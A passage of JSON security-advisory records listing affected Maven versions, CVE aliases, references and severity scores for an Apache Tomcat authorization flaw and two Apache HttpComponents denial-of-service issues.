"published": "2026-08-26T00:30:52Z", "database_specific": { "github_reviewed_at": "2026-09-02T22:39:14Z", "nvd_published_at": "2026-08-25T22:17:05Z", "cwe_ids": [ "CWE-863" ], "severity": "CRITICAL", "github_reviewed": true }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68525" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/commit/10d048e16034ddf12055e0cede0da05b15c823b8" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/commit/32f0c38526b4e655ff0c17cd97afedefc624fe43" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/commit/58123aa468a20e2a079b7e0c68a4009e2475c098" }, { "type": "PACKAGE", "url": "https://github.com/apache/tomcat" }, { "type": "WEB", "url": "https://lists.apache.org/thread/x1y2lfsgzxwzc456f8954vbvgn03zhd7" }, { "type": "WEB", "url": "https://tomcat.apache.org/security-10.html" }, { "type": "WEB", "url": "https://tomcat.apache.org/security-11.html" }, { "type": "WEB", "url": "https://tomcat.apache.org/security-9.html" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2026/08/26/7" } ], "affected": [ { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.0-M1" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.0", "11.0.0-M1", "11.0.0-M10", "11.0.0-M11", "11.0.0-M12", "11.0.0-M13", "11.0.0-M14", "11.0.0-M15", "11.0.0-M16", "11.0.0-M17", "11.0.0-M18", "11.0.0-M19", "11.0.0-M20", "11.0.0-M21", "11.0.0-M22", "11.0.0-M24", "11.0.0-M25", "11.0.0-M26", "11.0.0-M3", "11.0.0-M4", "11.0.0-M5", "11.0.0-M6", "11.0.0-M7", "11.0.0-M9", "11.0.1", "11.0.10", "11.0.11", "11.0.12", "11.0.13", "11.0.14", "11.0.15", "11.0.18", "11.0.2", "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.0-M1" }, { "fixed": "10.1.58" } ] } ], "versions": [ "10.1.0", "10.1.0-M1", "10.1.0-M10", "10.1.0-M11", "10.1.0-M12", "10.1.0-M14", "10.1.0-M15", "10.1.0-M16", "10.1.0-M17", "10.1.0-M2", "10.1.0-M4", "10.1.0-M5", "10.1.0-M6", "10.1.0-M7", "10.1.0-M8", "10.1.1", "10.1.10", "10.1.11", "10.1.12", "10.1.13", "10.1.14", "10.1.15", "10.1.16", "10.1.17", "10.1.18", "10.1.19", "10.1.2", "10.1.20", "10.1.23", "10.1.24", "10.1.25", "10.1.26", "10.1.28", "10.1.29", "10.1.30", "10.1.31", "10.1.33", "10.1.34", "10.1.35", "10.1.36", "10.1.39", "10.1.4", "10.1.40", "10.1.41", "10.1.42", "10.1.43", "10.1.44", "10.1.45", "10.1.46", "10.1.47", "10.1.48", "10.1.49", "10.1.5", "10.1.50", "10.1.52", "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57", "10.1.6", "10.1.7", "10.1.8", "10.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.0-M1" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.0.M1", "9.0.0.M10", "9.0.0.M11", "9.0.0.M13", "9.0.0.M15", "9.0.0.M17", "9.0.0.M18", "9.0.0.M19", "9.0.0.M20", "9.0.0.M21", "9.0.0.M22", "9.0.0.M25", "9.0.0.M26", "9.0.0.M27", "9.0.0.M3", "9.0.0.M4", "9.0.0.M6", "9.0.0.M8", "9.0.0.M9", "9.0.1", "9.0.10", "9.0.100", "9.0.102", "9.0.104", "9.0.105", "9.0.106", "9.0.107", "9.0.108", "9.0.109", "9.0.11", "9.0.110", "9.0.111", "9.0.112", "9.0.113", "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.12", "9.0.120", "9.0.13", "9.0.14", "9.0.16", "9.0.17", "9.0.19", "9.0.2", "9.0.20", "9.0.21", "9.0.22", "9.0.24", "9.0.26", "9.0.27", "9.0.29", "9.0.30", "9.0.31", "9.0.33", "9.0.34", "9.0.35", "9.0.36", "9.0.37", "9.0.38", "9.0.39", "9.0.4", "9.0.40", "9.0.41", "9.0.43", "9.0.44", "9.0.45", "9.0.46", "9.0.48", "9.0.5", "9.0.50", "9.0.52", "9.0.53", "9.0.54", "9.0.55", "9.0.56", "9.0.58", "9.0.59", "9.0.6", "9.0.60", "9.0.62", "9.0.63", "9.0.64", "9.0.65", "9.0.67", "9.0.68", "9.0.69", "9.0.7", "9.0.70", "9.0.71", "9.0.72", "9.0.73", "9.0.74", "9.0.75", "9.0.76", "9.0.78", "9.0.79", "9.0.8", "9.0.80", "9.0.81", "9.0.82", "9.0.83", "9.0.84", "9.0.85", "9.0.86", "9.0.87", "9.0.88", "9.0.89", "9.0.90", "9.0.91", "9.0.93", "9.0.94", "9.0.95", "9.0.96", "9.0.97", "9.0.98", "9.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "8.5.0" }, { "last_affected": "8.5.100" } ] } ], "versions": [ "8.5.0", "8.5.100", "8.5.11", "8.5.12", "8.5.13", "8.5.14", "8.5.15", "8.5.16", "8.5.19", "8.5.2", "8.5.20", "8.5.21", "8.5.23", "8.5.24", "8.5.27", "8.5.28", "8.5.29", "8.5.3", "8.5.30", "8.5.31", "8.5.32", "8.5.33", "8.5.34", "8.5.35", "8.5.37", "8.5.38", "8.5.39", "8.5.4", "8.5.40", "8.5.41", "8.5.42", "8.5.43", "8.5.45", "8.5.46", "8.5.47", "8.5.49", "8.5.5", "8.5.50", "8.5.51", "8.5.53", "8.5.54", "8.5.55", "8.5.56", "8.5.57", "8.5.58", "8.5.59", "8.5.6", "8.5.60", "8.5.61", "8.5.63", "8.5.64", "8.5.65", "8.5.66", "8.5.68", "8.5.69", "8.5.70", "8.5.71", "8.5.72", "8.5.73", "8.5.75", "8.5.76", "8.5.77", "8.5.78", "8.5.79", "8.5.8", "8.5.81", "8.5.82", "8.5.83", "8.5.84", "8.5.85", "8.5.86", "8.5.87", "8.5.88", "8.5.89", "8.5.9", "8.5.90", "8.5.91", "8.5.92", "8.5.93", "8.5.94", "8.5.95", "8.5.96", "8.5.97", "8.5.98", "8.5.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "last_affected": "7.0.109" } ] } ], "versions": [ "7.0.100", "7.0.103", "7.0.104", "7.0.105", "7.0.106", "7.0.107", "7.0.108", "7.0.109", "7.0.35", "7.0.37", "7.0.39", "7.0.40", "7.0.41", "7.0.42", "7.0.47", "7.0.50", "7.0.52", "7.0.53", "7.0.54", "7.0.55", "7.0.56", "7.0.57", "7.0.59", "7.0.61", "7.0.62", "7.0.63", "7.0.64", "7.0.65", "7.0.67", "7.0.68", "7.0.69", "7.0.70", "7.0.72", "7.0.73", "7.0.75", "7.0.76", "7.0.77", "7.0.78", "7.0.79", "7.0.81", "7.0.82", "7.0.84", "7.0.85", "7.0.86", "7.0.88", "7.0.90", "7.0.91", "7.0.92", "7.0.93", "7.0.94", "7.0.96", "7.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.0-M1" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.0", "11.0.0-M1", "11.0.0-M10", "11.0.0-M11", "11.0.0-M12", "11.0.0-M13", "11.0.0-M14", "11.0.0-M15", "11.0.0-M16", "11.0.0-M17", "11.0.0-M18", "11.0.0-M19", "11.0.0-M20", "11.0.0-M21", "11.0.0-M22", "11.0.0-M24", "11.0.0-M25", "11.0.0-M26", "11.0.0-M3", "11.0.0-M4", "11.0.0-M5", "11.0.0-M6", "11.0.0-M7", "11.0.0-M9", "11.0.1", "11.0.10", "11.0.11", "11.0.12", "11.0.13", "11.0.14", "11.0.15", "11.0.18", "11.0.2", "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.0-M1" }, { "fixed": "10.1.58" } ] } ], "versions": [ "10.1.0", "10.1.0-M1", "10.1.0-M10", "10.1.0-M11", "10.1.0-M12", "10.1.0-M14", "10.1.0-M15", "10.1.0-M16", "10.1.0-M17", "10.1.0-M2", "10.1.0-M4", "10.1.0-M5", "10.1.0-M6", "10.1.0-M7", "10.1.0-M8", "10.1.1", "10.1.10", "10.1.11", "10.1.12", "10.1.13", "10.1.14", "10.1.15", "10.1.16", "10.1.17", "10.1.18", "10.1.19", "10.1.2", "10.1.20", "10.1.23", "10.1.24", "10.1.25", "10.1.26", "10.1.28", "10.1.29", "10.1.30", "10.1.31", "10.1.33", "10.1.34", "10.1.35", "10.1.36", "10.1.39", "10.1.4", "10.1.40", "10.1.41", "10.1.42", "10.1.43", "10.1.44", "10.1.45", "10.1.46", "10.1.47", "10.1.48", "10.1.49", "10.1.5", "10.1.50", "10.1.52", "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57", "10.1.6", "10.1.7", "10.1.8", "10.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.0-M1" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.0.M1", "9.0.0.M10", "9.0.0.M11", "9.0.0.M13", "9.0.0.M15", "9.0.0.M17", "9.0.0.M18", "9.0.0.M19", "9.0.0.M20", "9.0.0.M21", "9.0.0.M22", "9.0.0.M25", "9.0.0.M26", "9.0.0.M27", "9.0.0.M3", "9.0.0.M4", "9.0.0.M6", "9.0.0.M8", "9.0.0.M9", "9.0.1", "9.0.10", "9.0.100", "9.0.102", "9.0.104", "9.0.105", "9.0.106", "9.0.107", "9.0.108", "9.0.109", "9.0.11", "9.0.110", "9.0.111", "9.0.112", "9.0.113", "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.12", "9.0.120", "9.0.13", "9.0.14", "9.0.16", "9.0.17", "9.0.19", "9.0.2", "9.0.20", "9.0.21", "9.0.22", "9.0.24", "9.0.26", "9.0.27", "9.0.29", "9.0.30", "9.0.31", "9.0.33", "9.0.34", "9.0.35", "9.0.36", "9.0.37", "9.0.38", "9.0.39", "9.0.4", "9.0.40", "9.0.41", "9.0.43", "9.0.44", "9.0.45", "9.0.46", "9.0.48", "9.0.5", "9.0.50", "9.0.52", "9.0.53", "9.0.54", "9.0.55", "9.0.56", "9.0.58", "9.0.59", "9.0.6", "9.0.60", "9.0.62", "9.0.63", "9.0.64", "9.0.65", "9.0.67", "9.0.68", "9.0.69", "9.0.7", "9.0.70", "9.0.71", "9.0.72", "9.0.73", "9.0.74", "9.0.75", "9.0.76", "9.0.78", "9.0.79", "9.0.8", "9.0.80", "9.0.81", "9.0.82", "9.0.83", "9.0.84", "9.0.85", "9.0.86", "9.0.87", "9.0.88", "9.0.89", "9.0.90", "9.0.91", "9.0.93", "9.0.94", "9.0.95", "9.0.96", "9.0.97", "9.0.98", "9.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "8.5.0" }, { "last_affected": "8.5.100" } ] } ], "versions": [ "8.5.0", "8.5.100", "8.5.11", "8.5.12", "8.5.13", "8.5.14", "8.5.15", "8.5.16", "8.5.19", "8.5.2", "8.5.20", "8.5.21", "8.5.23", "8.5.24", "8.5.27", "8.5.28", "8.5.29", "8.5.3", "8.5.30", "8.5.31", "8.5.32", "8.5.33", "8.5.34", "8.5.35", "8.5.37", "8.5.38", "8.5.39", "8.5.4", "8.5.40", "8.5.41", "8.5.42", "8.5.43", "8.5.45", "8.5.46", "8.5.47", "8.5.49", "8.5.5", "8.5.50", "8.5.51", "8.5.53", "8.5.54", "8.5.55", "8.5.56", "8.5.57", "8.5.58", "8.5.59", "8.5.6", "8.5.60", "8.5.61", "8.5.63", "8.5.64", "8.5.65", "8.5.66", "8.5.68", "8.5.69", "8.5.70", "8.5.71", "8.5.72", "8.5.73", "8.5.75", "8.5.76", "8.5.77", "8.5.78", "8.5.79", "8.5.8", "8.5.81", "8.5.82", "8.5.83", "8.5.84", "8.5.85", "8.5.86", "8.5.87", "8.5.88", "8.5.89", "8.5.9", "8.5.90", "8.5.91", "8.5.92", "8.5.93", "8.5.94", "8.5.95", "8.5.96", "8.5.97", "8.5.98", "8.5.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "last_affected": "7.0.109" } ] } ], "versions": [ "7.0.0", "7.0.100", "7.0.103", "7.0.104", "7.0.105", "7.0.106", "7.0.107", "7.0.108", "7.0.109", "7.0.11", "7.0.12", "7.0.14", "7.0.16", "7.0.19", "7.0.2", "7.0.20", "7.0.21", "7.0.22", "7.0.23", "7.0.25", "7.0.26", "7.0.27", "7.0.28", "7.0.29", "7.0.30", "7.0.32", "7.0.33", "7.0.34", "7.0.35", "7.0.37", "7.0.39", "7.0.4", "7.0.40", "7.0.41", "7.0.42", "7.0.47", "7.0.5", "7.0.50", "7.0.52", "7.0.53", "7.0.54", "7.0.55", "7.0.56", "7.0.57", "7.0.59", "7.0.6", "7.0.61", "7.0.62", "7.0.63", "7.0.64", "7.0.65", "7.0.67", "7.0.68", "7.0.69", "7.0.70", "7.0.72", "7.0.73", "7.0.75", "7.0.76", "7.0.77", "7.0.78", "7.0.79", "7.0.8", "7.0.81", "7.0.82", "7.0.84", "7.0.85", "7.0.86", "7.0.88", "7.0.90", "7.0.91", "7.0.92", "7.0.93", "7.0.94", "7.0.96", "7.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.0-M1" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.0", "11.0.0-M1", "11.0.0-M10", "11.0.0-M11", "11.0.0-M12", "11.0.0-M13", "11.0.0-M14", "11.0.0-M15", "11.0.0-M16", "11.0.0-M17", "11.0.0-M18", "11.0.0-M19", "11.0.0-M20", "11.0.0-M21", "11.0.0-M22", "11.0.0-M24", "11.0.0-M25", "11.0.0-M26", "11.0.0-M3", "11.0.0-M4", "11.0.0-M5", "11.0.0-M6", "11.0.0-M7", "11.0.0-M9", "11.0.1", "11.0.10", "11.0.11", "11.0.12", "11.0.13", "11.0.14", "11.0.15", "11.0.18", "11.0.2", "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.0-M1" }, { "fixed": "10.1.58" } ] } ], "versions": [ "10.1.0", "10.1.0-M1", "10.1.0-M10", "10.1.0-M11", "10.1.0-M12", "10.1.0-M14", "10.1.0-M15", "10.1.0-M16", "10.1.0-M17", "10.1.0-M2", "10.1.0-M4", "10.1.0-M5", "10.1.0-M6", "10.1.0-M7", "10.1.0-M8", "10.1.1", "10.1.10", "10.1.11", "10.1.12", "10.1.13", "10.1.14", "10.1.15", "10.1.16", "10.1.17", "10.1.18", "10.1.19", "10.1.2", "10.1.20", "10.1.23", "10.1.24", "10.1.25", "10.1.26", "10.1.28", "10.1.29", "10.1.30", "10.1.31", "10.1.33", "10.1.34", "10.1.35", "10.1.36", "10.1.39", "10.1.4", "10.1.40", "10.1.41", "10.1.42", "10.1.43", "10.1.44", "10.1.45", "10.1.46", "10.1.47", "10.1.48", "10.1.49", "10.1.5", "10.1.50", "10.1.52", "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57", "10.1.6", "10.1.7", "10.1.8", "10.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.0-M1" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.0.M1", "9.0.0.M10", "9.0.0.M11", "9.0.0.M13", "9.0.0.M15", "9.0.0.M17", "9.0.0.M18", "9.0.0.M19", "9.0.0.M20", "9.0.0.M21", "9.0.0.M22", "9.0.0.M25", "9.0.0.M26", "9.0.0.M27", "9.0.0.M3", "9.0.0.M4", "9.0.0.M6", "9.0.0.M8", "9.0.0.M9", "9.0.1", "9.0.10", "9.0.100", "9.0.102", "9.0.104", "9.0.105", "9.0.106", "9.0.107", "9.0.108", "9.0.109", "9.0.11", "9.0.110", "9.0.111", "9.0.112", "9.0.113", "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.12", "9.0.120", "9.0.13", "9.0.14", "9.0.16", "9.0.17", "9.0.19", "9.0.2", "9.0.20", "9.0.21", "9.0.22", "9.0.24", "9.0.26", "9.0.27", "9.0.29", "9.0.30", "9.0.31", "9.0.33", "9.0.34", "9.0.35", "9.0.36", "9.0.37", "9.0.38", "9.0.39", "9.0.4", "9.0.40", "9.0.41", "9.0.43", "9.0.44", "9.0.45", "9.0.46", "9.0.48", "9.0.5", "9.0.50", "9.0.52", "9.0.53", "9.0.54", "9.0.55", "9.0.56", "9.0.58", "9.0.59", "9.0.6", "9.0.60", "9.0.62", "9.0.63", "9.0.64", "9.0.65", "9.0.67", "9.0.68", "9.0.69", "9.0.7", "9.0.70", "9.0.71", "9.0.72", "9.0.73", "9.0.74", "9.0.75", "9.0.76", "9.0.78", "9.0.79", "9.0.8", "9.0.80", "9.0.81", "9.0.82", "9.0.83", "9.0.84", "9.0.85", "9.0.86", "9.0.87", "9.0.88", "9.0.89", "9.0.90", "9.0.91", "9.0.93", "9.0.94", "9.0.95", "9.0.96", "9.0.97", "9.0.98", "9.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "8.5.0" }, { "last_affected": "8.5.100" } ] } ], "versions": [ "8.5.0", "8.5.100", "8.5.11", "8.5.12", "8.5.13", "8.5.14", "8.5.15", "8.5.16", "8.5.19", "8.5.2", "8.5.20", "8.5.21", "8.5.23", "8.5.24", "8.5.27", "8.5.28", "8.5.29", "8.5.3", "8.5.30", "8.5.31", "8.5.32", "8.5.33", "8.5.34", "8.5.35", "8.5.37", "8.5.38", "8.5.39", "8.5.4", "8.5.40", "8.5.41", "8.5.42", "8.5.43", "8.5.45", "8.5.46", "8.5.47", "8.5.49", "8.5.5", "8.5.50", "8.5.51", "8.5.53", "8.5.54", "8.5.55", "8.5.56", "8.5.57", "8.5.58", "8.5.59", "8.5.6", "8.5.60", "8.5.61", "8.5.63", "8.5.64", "8.5.65", "8.5.66", "8.5.68", "8.5.69", "8.5.70", "8.5.71", "8.5.72", "8.5.73", "8.5.75", "8.5.76", "8.5.77", "8.5.78", "8.5.79", "8.5.8", "8.5.81", "8.5.82", "8.5.83", "8.5.84", "8.5.85", "8.5.86", "8.5.87", "8.5.88", "8.5.89", "8.5.9", "8.5.90", "8.5.91", "8.5.92", "8.5.93", "8.5.94", "8.5.95", "8.5.96", "8.5.97", "8.5.98", "8.5.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "last_affected": "7.0.109" } ] } ], "versions": [ "7.0.0", "7.0.100", "7.0.103", "7.0.104", "7.0.105", "7.0.106", "7.0.107", "7.0.108", "7.0.109", "7.0.11", "7.0.12", "7.0.14", "7.0.16", "7.0.19", "7.0.2", "7.0.20", "7.0.21", "7.0.22", "7.0.23", "7.0.25", "7.0.26", "7.0.27", "7.0.28", "7.0.29", "7.0.30", "7.0.32", "7.0.33", "7.0.34", "7.0.35", "7.0.37", "7.0.39", "7.0.4", "7.0.40", "7.0.41", "7.0.42", "7.0.47", "7.0.5", "7.0.50", "7.0.52", "7.0.53", "7.0.54", "7.0.55", "7.0.56", "7.0.57", "7.0.59", "7.0.6", "7.0.61", "7.0.62", "7.0.63", "7.0.64", "7.0.65", "7.0.67", "7.0.68", "7.0.69", "7.0.70", "7.0.72", "7.0.73", "7.0.75", "7.0.76", "7.0.77", "7.0.78", "7.0.79", "7.0.8", "7.0.81", "7.0.82", "7.0.84", "7.0.85", "7.0.86", "7.0.88", "7.0.90", "7.0.91", "7.0.92", "7.0.93", "7.0.94", "7.0.96", "7.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" } ] }, { "id": "GHSA-hf6x-8p5f-cgmf", "summary": "Apache HttpComponents Core HTTP/1 header parsing can cause memory-exhaustion denial of service", "details": "Uncontrolled Resource Consumption vulnerability in the HTTP/1.1 message parser in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows a remote attacker to cause a denial of service through memory exhaustion by sending messages with excessive number of headers / excessive header length", "aliases": [ "CVE-2026-54399" ], "modified": "2026-09-10T03:50:52.486045504Z", "published": "2026-07-01T18:31:55Z", "database_specific": { "github_reviewed": true, "github_reviewed_at": "2026-08-12T19:24:45Z", "nvd_published_at": "2026-07-01T17:16:36Z", "cwe_ids": [ "CWE-400" ], "severity": "HIGH" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54399" }, { "type": "WEB", "url": "https://github.com/apache/httpcomponents-core/commit/d96a00fec9b2e19f8005e35681df5f6cd6e21a9e" }, { "type": "WEB", "url": "https://github.com/apache/httpcomponents-core/commit/fdc53a32fe0fccf098cc67e71cd125e447c759ed" }, { "type": "PACKAGE", "url": "https://github.com/apache/httpcomponents-core" }, { "type": "WEB", "url": "https://lists.apache.org/thread/zmxh1pl2zohov5ntdh4lt85gfrlchgpy" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2026/07/01/4" } ], "affected": [ { "package": { "name": "org.apache.httpcomponents.core5:httpcore5", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.httpcomponents.core5/httpcore5" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "5.4.3" } ] } ], "versions": [ "5.0", "5.0-alpha1", "5.0-alpha2", "5.0-alpha3", "5.0-alpha4", "5.0-beta1", "5.0-beta10", "5.0-beta11", "5.0-beta2", "5.0-beta3", "5.0-beta4", "5.0-beta5", "5.0-beta6", "5.0-beta7", "5.0-beta8", "5.0-beta9", "5.0.1", "5.0.2", "5.0.3", "5.0.4", "5.1", "5.1-beta1", "5.1-beta2", "5.1-beta3", "5.1.1", "5.1.2", "5.1.3", "5.1.4", "5.1.5", "5.2", "5.2-alpha1", "5.2-alpha2", "5.2-beta1", "5.2-beta2", "5.2.1", "5.2.2", "5.2.3", "5.2.4", "5.2.5", "5.3", "5.3-alpha1", "5.3-alpha2", "5.3-beta1", "5.3.1", "5.3.2", "5.3.3", "5.3.4", "5.3.5", "5.3.6", "5.4", "5.4-alpha1", "5.4.1", "5.4.2" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-hf6x-8p5f-cgmf/GHSA-hf6x-8p5f-cgmf.json" } }, { "package": { "name": "org.apache.httpcomponents.core5:httpcore5", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.httpcomponents.core5/httpcore5" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "5.5-alpha1" }, { "fixed": "5.5-beta2" } ] } ], "versions": [ "5.5-alpha1", "5.5-beta1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-hf6x-8p5f-cgmf/GHSA-hf6x-8p5f-cgmf.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-hjcp-jmpx-g3qm", "summary": "Apache HttpComponents Client: Connection Leak on Content-Encoding Decode Error Leads to Pool Exhaustion DoS", "details": "HttpClient based on the classic i/o model fails to correctly release the underlying connection back to the connection manager if it encounters an invalid or unsupported `Content-Encoding` header value in the response message. Please note this defect does not affect HttpClient based on the async i/o model.\n\nThis issue affects Apache HttpComponents Client: from 5.0-alpha1 through 5.6.2.", "aliases": [ "CVE-2026-64607" ], "modified": "2026-09-10T03:50:12.358752934Z", "published": "2026-07-31T12:30:30Z", "database_specific": { "nvd_published_at": "2026-07-31T11:17:11Z", "cwe_ids": [ "CWE-772" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2026-08-13T18:40:18Z" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64607" }, { "type": "WEB", "url": "https://github.com/apache/httpcomponents-client/commit/55733f4121f7ba26ddf04fe12739d9c15962cb94" }, { "type": "WEB", "url": "https://github.com/apache/httpcomponents-client/commit/ebac9512f555c4a355cad3f59ef2db69b597cc97" }, { "type": "PACKAGE", "url": "https://github.com/apache/httpcomponents-client" }, { "type": "WEB", "url": "https://github.com/apache/httpcomponents-client/releases/tag/rel/v5.6.3" }, { "type": "WEB", "url": 